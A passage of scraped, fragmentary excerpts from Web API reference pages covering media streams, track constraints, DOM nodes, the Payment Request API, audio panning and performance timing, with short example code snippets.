this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec); fetchab(asseturl, function (buf) { sourcebuffer.addeventlistener('updateend', function (_) { mediasource.endofstream(); video.play(); //console.log(mediasource.readystate); // ended }); sourcebuffer.appendbuffer(buf); }); }; function fetchab (url, cb) { console.log(url); var xhr = new xmlhttprequest; xhr.open('get', url); xhr.responsetype = 'arraybuffer'; xhr.onload = function () { cb(xhr.response); }; xhr.send(); }; specifications specification status comment media source extensionsthe definition of 'mediasource' in that specification.
MediaStream.onaddtrack - Web APIs
this happens when a new track of any kind is added to the media stream.
...
this event is fired when the browser adds a track to the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... syntax mediastream.onaddtrack = eventhandler; value
this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the addtrack event which has occurred.
... example
this example adds a listener which, when a new track is added to the stream, appends a new item to a list of tracks; the new item shows the track's kind ("audio" or "video") and label.
MediaStream.onremovetrack - Web APIs
this happens when a track of any kind is removed from the media stream.
...
this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
... syntax mediastream.onremovetrack = eventhandler; value
this should be set to a function which you provide that accepts as input a mediastreamtrackevent object representing the removetrack event which has occurred.
... example
this example adds a listener which, when a track is removed from the stream, logs the track that was removed.
MediaStream - Web APIs
some user agents subclass
this interface to provide more precise information or functionality, like in canvascapturemediastream.
... properties
this interface inherits properties from its parent, eventtarget.
...
this has been removed from the specification; you should instead check the value of mediastreamtrack.readystate to see if its value is ended for the track or tracks you want to ensure have finished playing.
... methods
this interface inherits methods from its parent, eventtarget.
MediaStreamEvent - Web APIs
two events of
this type can be thrown: addstream and removestream.
... properties a mediastreamevent being an event,
this event also implements these properties.
... methods a mediastreamevent being an event,
this event also implements these properties.
... examples pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to
this connection."); }; ...
MediaStreamTrack: unmute event - Web APIs
this ends the muted state that began with the mute event.
... examples in
this example, event handlers are established for the mute and unmute events in order to detect when the media is not flowing from the source for the mediastreamtrack stored in the variable musictrack.
... you can also use the onunmute event handler property to set up a handler for
this event; similarly, the onmute event handler is available for setting up a handler for the mute event.
... the following example shows
this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification.
MediaStreamTrack - Web APIs
if the track has been disconnected,
this value can be changed but has no more effect.
...
this happens when the peeridentity property is set, or if the track comes from a cross-origin source.
...
this will be one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... events listen to these events using addeventlistener() or by assigning an event listener to the oneventname property of
this interface: ended sent when playback of the track ends (when the value readystate changes to ended).
MediaStreamTrackAudioSourceNode - Web APIs
this interface is similar to mediastreamaudiosourcenode, except it lets you specifically state the track to use, rather than assuming the first audio track on a stream.
... example in
this example, we grab a media (audio + video) stream from navigator.getusermedia, feed the media into a <video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
... next, we feed
this source audio into a low pass biquadfilternode (which effectively serves as a bass booster), then a audiodestinationnode.
... note: you can see
this example running live, or view the source.
MediaStream Recording API - Web APIs
set mediarecorder.ondataavailable to an event handler for the dataavailable event;
this will be called whenever data is available for you.
... in
this code snippet, enumeratedevices() is used to examine the available input devices, locate those which are audio input devices, and create <option> elements that are then added to a <select> element representing an input source picker.
... navigator.mediadevices.enumeratedevices() .then(function(devices) { devices.foreach(function(device) { let menu = document.getelementbyid("inputdevices"); if (device.kind == "audioinput") { let item = document.createelement("option"); item.innerhtml = device.label; item.value = device.deviceid; menu.appendchild(item); } }); }); code similar to
this can be used to let the user restrict the set of devices they wish to use.
...a second article, recording a media element, describes how to receive a stream from an <audio> or <video> element and use the captured stream (in
this case, recording it and saving it to a local disk).
MediaTrackConstraints.aspectRatio - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.aspectratio as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... if
this value is a number, the user agent will attempt to obtain media whose aspect ratio is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constraindouble will guide the user agent in its efforts to provide an exact match to the required aspect ratio (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.channelCount - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.channelcount as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { channelcount: constraint }; constraintsobject.channelcount = constraint; value if
this value is a number, the user agent will attempt to obtain media whose channel count is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constrainlong will guide the user agent in its efforts to provide an exact match to the required channel count (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.deviceId - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.deviceid as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include
this information, tracks associated with a webrtc rtcpeerconnection will never include
this property.
... because of
this, there's no use for the device id when calling mediastreamtrack.applyconstraints(), since there is only one possible value; however, you can record a deviceid and use it to ensure that you get the same source for multiple calls to getusermedia().
MediaTrackConstraints.echoCancellation - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include
this information, tracks associated with a webrtc rtcpeerconnection will never include
this property.
... syntax var constraintsobject = { echocancellation: constraint }; constraintsobject.echocancellation = constraint; value if
this value is a simple true or false, the user agent will attempt to obtain media with echo cancellation enabled or disabled as specified, if possible, but will not fail if
this can't be done.
MediaTrackConstraints.frameRate - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.framerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... if
this value is a number, the user agent will attempt to obtain media whose frame rate is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constraindouble will guide the user agent in its efforts to provide an exact match to the required frame rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.height - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.height as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { height: constraint }; constraintsobject.height = constraint; value if
this value is a number, the user agent will attempt to obtain media whose height is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constrainlong will guide the user agent in its efforts to provide an exact match to the required height (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.logicalSurface - Web APIs
this is used to specify whether or not getdisplaymedia() should allow the user to choose display surfaces which are not necessarily fully visible on the screen, such as occluded windows or the complete content of windows which are large enough to require scrolling to see their entire contents.
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... for example, if your app needs to know if the selected display surface is a logical one: let islogicalsurface = displaystream.getvideotracks()[0].getsettings().logicalsurface; following
this code, islogicalsurface is true if the display surface contained in the stream is a logical surface; that is, one which may not be entirely onscreen, or may even be entirely offscreen.
MediaTrackConstraints.sampleRate - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.samplerate as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { samplerate: constraint }; constraintsobject.samplerate = constraint; value if
this value is a number, the user agent will attempt to obtain media whose sample rate is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constrainlong will guide the user agent in its efforts to provide an exact match to the required sample rate (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackControls.volume - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.volume as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... if
this value is a number, the user agent will attempt to obtain media whose volume is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constraindouble will guide the user agent in its efforts to provide an exact match to the required volume (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackConstraints.width - Web APIs
if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.width as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... syntax var constraintsobject = { width: constraint }; constraintsobject.width = constraint; value if
this value is a number, the user agent will attempt to obtain media whose width is as close as possible to
this number given the capabilities of the hardware and the other constraints specified.
... otherwise, the value of
this constrainlong will guide the user agent in its efforts to provide an exact match to the required width (if exact is specified or both min and max are provided and have the same value) or to a best-possible value.
MediaTrackSettings.autoGainControl - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.autogaincontrol property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
...
this feature is typically used on microphones, although it can be provided by other input sources as well.
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.autogaincontrol as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
MediaTrackSettings.echoCancellation - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.echocancellation property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.echocancellation as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
... because rtp doesn't include
this information, tracks associated with a webrtc rtcpeerconnection will never include
this property.
MediaTrackSettings.noiseSuppression - Web APIs
this lets you determine what value was selected to comply with your specified constraints for
this property's value as described in the mediatrackconstraints.noisesuppression property you provided when calling either getusermedia() or mediastreamtrack.applyconstraints().
...
this feature is typically used on microphones, although it is technically possible it could be provided by other input sources as well.
... if needed, you can determine whether or not
this constraint is supported by checking the value of mediatracksupportedconstraints.noisesuppression as returned by a call to mediadevices.getsupportedconstraints().
... however, typically
this is unnecessary since browsers will simply ignore any constraints they're unfamiliar with.
Media Source API - Web APIs
the mse standard with media source extensions (mse),
this is changing.
...
this is in direct contrast with previous streaming solutions that required expensive licenses for proprietary non-standard client/server protocol implementations.
... trackdefault provides a sourcebuffer with kind, label, and language information for tracks that do not contain
this information in the initialization segments of a media chunk.
... htmlmediaelement.seekable when a mediasource object is played by an html media element,
this property will return a timeranges object that contains the time ranges that the user is able to seek to.
Metadata - Web APIs
this metadata includes the file's size and modification date and time.
...
this interface isn't available through the global scope; instead, you obtain a metadata object describing a filesystementry using the method filesystementry.getmetadata().
... specifications specification status comment file and directory entries api draft draft of proposed api
this api has no official w3c or whatwg specification.
... browser compatibility the compatibility table on
this page is generated from structured data.
MouseEvent() - Web APIs
mouseeventinit optional is a mouseeventinit dictionary, having the following fields: "screenx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the user's screen; setting
this value doesn't move the mouse pointer.
... "screeny", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the user's screen; setting
this value doesn't move the mouse pointer.
... "clientx", optional and defaulting to 0, of type long, that is the horizontal position of the mouse event on the client window of user's screen; setting
this value doesn't move the mouse pointer.
... "clienty", optional and defaulting to 0, of type long, that is the vertical position of the mouse event on the client window of the user's screen; setting
this value doesn't move the mouse pointer.
MutationObserverInit.attributeFilter - Web APIs
if
this property is specified, there's no need to also set attributes to true, as it's implied.
... if
this property exists on the options object when the mutationobserver() constructor is used to create a new mutationobserver, attribute monitoring is enabled regardless of whether or not the attributes property is true.
... example in
this example, a mutation observer is set up to watch for changes to the status and username attributes in any elements contained within a subtree that displays the names of users in a chat room.
...
this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline.
Navigator.clipboard - Web APIs
this permission must be obtained from the permissions api using the "clipboard-read" and/or "clipboard-write" permissions.
... navigator.clipboard.readtext().then( cliptext => document.queryselector(".cliptext").innertext = cliptext);
this snippet replaces the contents of the element whose class is "cliptext" with the text contents of the clipboard.
... perhaps
this code is being used in a browser extension that displays the current clipboard contents, automatically updating periodically or when specific events fire.
...
this happens because readtext() returns an empty string if the clipboard is empty or doesn't contain text.
Navigator.getUserMedia() - Web APIs
this is a legacy method.
...while technically not deprecated,
this old callback version is marked as such, since the specification strongly encourages using the newer promise returning version.
... }; } errorcallback when the call fails, the function specified in the errorcallback is invokedwith a mediastreamerror object as its sole argument;
this object is is modeled on domexception.
...note that
this is the deprecated way of doing it: see the examples section under the mediadevices.getusermedia() for modern examples.
navigator.hardwareConcurrency - Web APIs
note:
this feature is available in web workers.
... the browser may, however, choose to report a lower number of logical cores in order to represent more accurately the number of workers that can run at once, so don't treat
this as an absolute measurement of the number of cores in the user's system.
... examples in
this example, one worker is created for each logical processor reported by the browser and a record is created which includes a reference to the new worker as well as a boolean value indicating whether or not we're using that worker yet; these objects are, in turn, stored into an array for later use.
...
this creates a pool of workers we can use to process requests later.
Node.removeChild() - Web APIs
this will also happen if child was in fact a child of element at the time of the call, but was removed by an event handler invoked in the course of trying to remove the element (e.g., blur.) errors thrown the method throws an exception in 2 different ways: if the child was in fact a child of element and so existing on the dom, but was removed the method throws the following exception: uncau...
...ght notfounderror: failed to execute 'removechild' on 'node': the node to be removed is not a child of
this node.
... examples simple examples given
this html: <div id="top"> <div id="nested"></div> </div> to remove a specified element when knowing its parent node: let d = document.getelementbyid("top"); let d_nested = document.getelementbyid("nested"); let throwawaynode = d.removechild(d_nested); to remove a specified element without having to specify its parent node: let node = document.getelementbyid("nested"); if (node.parentnode) { node.parentnode.removechild(node); } to remove all children from an element: let element = document.getelementbyid("top"); while (element.firstchild) { ...
... = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); // throws uncaught typeerror let garbage = top.removechild(nested); </script> causing a notfounderror <!--sample html code--> <div id="top"> <div id="nested"></div> </div> <script type="text/javascript"> let top = document.getelementbyid("top"); let nested = document.getelementbyid("nested"); //
this first call correctly removes the node let garbage = top.removechild(nested); // throws uncaught notfounderror garbage = top.removechild(nested); </script> specifications specification status comment domthe definition of 'node: removechild' in that specification.
Node.textContent - Web APIs
(
this is an empty string if the node has no children.) setting textcontent on a node removes all of the node's children and replaces them with a single text node with the given string value.
... examples given
this html fragment: <div id="diva">
this is <span>some</span> text!</div> ...
... you can use textcontent to get the element's text content: let text = document.getelementbyid('diva').textcontent; // the text variable is now: '
this is some text!' ...
... or set the element's text content: document.getelementbyid('diva').textcontent = '
this text is different!'; // the html for diva is now: // <div id="diva">
this text is different!</div> specifications specification status comment domthe definition of 'node.textcontent' in that specification.
NodeIterator.nextNode() - Web APIs
this method returns null when there are no nodes left in the set.
... in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if
this method is called after the nodeiterator.detach()method.
... syntax node = nodeiterator.nextnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false //
this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node specifications specification status comment domthe definition of 'nodeiterator.nextnode' in that specification.
... living standard as detach() is now a no-op method,
this method cannot throw anymore.
NodeIterator.previousNode() - Web APIs
this method returns null when the current node is the first node in the set.
... in old browsers, as specified in old versions of the specifications, the method may throws the invalid_state_err domexception if
this method is called after the nodeiterator.detach()method.
... syntax node = nodeiterator.previousnode(); example var nodeiterator = document.createnodeiterator( document.body, nodefilter.show_element, { acceptnode: function(node) { return nodefilter.filter_accept; } }, false //
this optional argument is not used any more ); currentnode = nodeiterator.nextnode(); // returns the next node previousnode = nodeiterator.previousnode(); // same result, since we backtracked to the previous node specifications specification status comment domthe definition of 'nodeiterator.previousnode' in that specification.
... living standard as detach() is now a no-op method,
this method cannot throw anymore.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
syntax prevnode = elementnodereference.previouselementsibling; example <div id="div-01">here is div-01</div> <div id="div-02">here is div-02</div> <li>
this is a list item</li> <li>
this is another list item</li> <div id="div-03">here is div-03</div> <script> let el = document.getelementbyid('div-03').previouselementsibling; document.write('<p>siblings of div-03</p><ol>'); while (el) { document.write('<li>' + el.nodename + '</li>'); el = el.previouselementsibling; } document.write('</ol>'); </script>
this example outputs the following into the page ...
...div polyfills polyfill for internet explorer 8
this property is unsupported prior to ie9, so the following snippet can be used to add support to ie8: // source: https://github.com/alhadis/snippets/blob/master/js/polyfills/ie8-child-elements.js if(!("previouselementsibling" in document.documentelement)){ object.defineproperty(element.prototype, "previouselementsibling", { get: function(){ var e =
this.previoussibling; while(e && 1 !== e.nodetype) e = e.previoussibling; return e; } }); } polyfill for internet explorer 9+ and safari // source: https://github.com/jserz/js_piece/blob/master/dom/nondocumenttypechildnode/previouselementsibling/previouselementsibling.md (function (arr) { ...
... arr.foreach(function (item) { if (item.hasownproperty('previouselementsibling')) { return; } object.defineproperty(item, 'previouselementsibling', { configurable: true, enumerable: true, get: function () { let el =
this; while (el = el.previoussibling) { if (el.nodetype === 1) { return el; } } return null; }, set: undefined }); }); })([element.prototype, characterdata.prototype]); specifications specification status comment domthe definition of 'nondocumenttypechildnode.previouselementsibling' in that specification.
...
this method is now defined on the former.
OES_standard_derivatives - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default.
... constants
this extension exposes one new constant, which can be used in the hint() and getparameter() methods.
... glsl built-in functions the following new functions can be used in glsl shader code, if
this extension is enabled: gentype dfdx(gentype) gentype dfdy(gentype) gentype fwidth(gentype) examples enabling the extensions: gl.getextension('oes_standard_derivatives'); gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_fragcolor = texture2dgradext(mytexture, mod(texcoord,...
OES_vertex_array_object - Web APIs
availability:
this extension is only available to webgl1 contexts.
... in webgl2, the functionality of
this extension is available on the webgl2 context by default and the constants and methods are available without the "oes" suffix.
... constants
this extension exposes one new constant, which can be used in the gl.getparameter() method: ext.vertex_array_binding_oes returns a webglvertexarrayobject object when used in the gl.getparameter() method as the pname parameter.
... methods
this extension exposes four new methods.
PaintWorklet - Web APIs
access
this interface through css.paintworklet.
... methods
this interface inherits methods from worklet.
...
this should be in a separate js file.
... <script> if ('paintworklet' in css) { css.paintworklet.addmodule('checkerboard.js'); } </script> use a paintworklet
this example shows how to use a paintworklet in a stylesheet, including the simplest way to provide a fallback if paintworklet isn't supported.
PannerNode.maxDistance - Web APIs
this value is used only by the linear distance model.
...in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
PannerNode.setOrientation() - Web APIs
this can have a big effect if the sound is very directional — controlled by the three cone-related attributes pannernode.coneinnerangle, pannernode.coneouterangle, and pannernode.coneoutergain.
...in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
PannerNode.setVelocity() - Web APIs
this method was removed from the specification because of gaps in its design and implementation problems.
...in the example you can see
this being controlled by the functions moveright(), moveleft(), etc., which set new values for the panner position via the positionpanner() function.
... to see a complete implementation, check out our panner-node example (view the source code) —
this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk around the boom box to see how the sound changes!
...} var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for
this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graph...
ParentNode - Web APIs
properties parentnode.childelementcount read only returns the number of children of
this parentnode which are elements.
... parentnode.children read only returns a live htmlcollection containing all of the element objects that are children of
this parentnode, omitting all of its non-element nodes.
... parentnode.firstelementchild read only returns the first node which is both a child of
this parentnode and is also an element, or null if there is none.
... parentnode.lastelementchild read only returns the last node which is both a child of
this parentnode and is an element, or null if there is none.
PayerErrors.email - Web APIs
the email property is included in a payererrors object if the paymentresponse.payeremail property failed validation; in
this case, the property should contain a string describing how to correct the problem.
... if the payer's email address passed validation,
this property is not included in the payererrors object.
... syntax payeremail = payererrors.email; value if validation of the payer's email address (paymentresponse.payeremail) found problems,
this property should be set to a domstring that explains the validation problem and how to correct it.
... if the email address is valid,
this property should be omitted from the payererrors object.
PayerErrors.phone - Web APIs
the value of
this property is a string explaining the problem.
... syntax payerphone = payererrors.phone; value if
this property is present in the payererrors object, the payer's phone number couldn't be successfully validated, and the phone property's value is a domstring explaining the error.
...
this string will be displayed to the user by the user agent's payment handling user interface as appropriate.
... if the phone number is valid,
this property is omitted from the payererrors object.
PaymentItem - Web APIs
this might be an item or service being purchased or a tax or other charge.
...
this may be displayed to the user by the user agent, depending on the design of the interface.
...
this can be used to show items such as shipping or tax amounts that depend upon the selection of shipping address, shipping option, or so forth.
... the user agent may show
this information but is not required to do so.
PaymentMethodChangeEvent - Web APIs
properties in addition to the properties below,
this interface includes properties inherited from paymentrequestupdateevent.
...if no such information is available,
this value is null.
...
this identifier is usually a url used during the payment process, but may be a standardized non-url string as well, such as basic-card.
... methods
this interface includes methods inherited from paymentrequestupdateevent.
PaymentRequest.abort() - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
... androidsafari on iossamsung internetabort()chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PaymentRequest.onmerchantvalidation - Web APIs
this is usually the first event to be fired, and the user won't be able to proceed with a payment until the merchant validate themselves.
...
this event is not be fired by all payment handlers.
... syntax paymentrequest.onmerchantvalidation = eventhandlerfunction; value an event handler function which is to be called whenever the merchantvalidation event is fired at the paymentrequest, indicating that the payment handler requires the merchant to validate themselves as allowed to use
this payment handler.
... examples an example merchant validation handler for the paymentrequest object request looks like
this: request.onmerchantvalidation = ev => { ev.complete(async () => { const merchantserverurl = window.location.origin + '/validation?url=' + encodeuricomponent(ev.validationurl); // get validation data, and complete validation; return await fetch(merchantserverurl).then(r => r.text()); }) }; const response = await request.show(); for more information, see merchant validation in payment processing concepts.
PaymentRequest.onshippingaddresschange - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...n iossamsung internetonshippingaddresschangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PaymentRequest.onshippingoptionchange - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...on iossamsung internetonshippingoptionchangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... nosafari ios full support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PaymentRequest.shippingType - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...oidsafari on iossamsung internetshippingtypechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... 11.1webview android no support nochrome android full support 55firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled from version 55:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...ll support 11.3samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
PaymentRequest - Web APIs
this property is only populated if the constructor is called with the requestshipping flag set to true.
...
this property is only populated if the constructor is called with the requestshipping flag set to true.
...
this will be one of shipping, delivery, pickup, or null if a value was not provided in the constructor.
... events merchantvalidation secure context with some payment handlers (e.g., apple pay),
this event handler is called to handle the merchantvalidation event, which is dispatched when the user agent requires that the merchant validate that the merchant or vendor requesting payment is legitimate.
PaymentRequestUpdateEvent.updateWith() - Web APIs
make sure
this equals the sum of all of the items in displayitems.
...
this is not calculated automatically.
... you must update
this value yourself anytime the total amount due changes.
...
this lets you have flexibility for how to handle things like tax, discounts, and other adjustments to the total price charged.
PaymentResponse.requestId - Web APIs
browser compatibility the compatibility table on
this page is generated from structured data.
...ndroidsafari on iossamsung internetrequestidchrome full support 61edge full support 16firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
... yeswebview android no support nochrome android full support 60firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled from version 56:
this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...ull support yessamsung internet android full support 8.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable
this feature.user must explicitly enable
this feature.
performance.now() - Web APIs
note:
this feature is available in web workers.
...it used to be the same as t0 of the main context, but
this was changed.
...
this inherently introduces a degree of inaccuracy by limiting the resolution or precision of the timer.
... in firefox, you can also enable privacy.resistfingerprinting —
this changes the precision to 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
PerformanceEntry.duration - Web APIs
note:
this feature is available in web workers.
... the value returned by
this property depends on the performance entry's type: "frame" - returns a timestamp indicating the difference between the starttimes of two successive frames.
...
this property is read only .
...the entry is a performanceresourcetiming object),
this property returns the difference between the performanceentry.responseend and performanceentry.starttime timestamps.
PerformanceEntry.startTime - Web APIs
note:
this feature is available in web workers.
... the value returned by
this property depends on the performance entry's type: "frame" - returns the timestamp when the frame was started.
...
this property is read only .
...the entry is a performanceresourcetiming object),
this property returns the performanceentry.fetchstart timestamp.
PerformanceEventTiming - Web APIs
// keep track of whether (and when) the page was first hidden, see: // https://github.com/w3c/page-visibility/issues/29 // note: ideally
this check would be performed in the document <head> // to avoid cases where the visibility state changes before
this code runs.
...
this code // uses `/analytics`; you can replace it with your own url.
...
this typically happens when a // page is loaded in a background tab.
... po.observe({ type: 'first-input', buffered: true, }); } catch (e) { // do nothing if the browser doesn't support
this api.
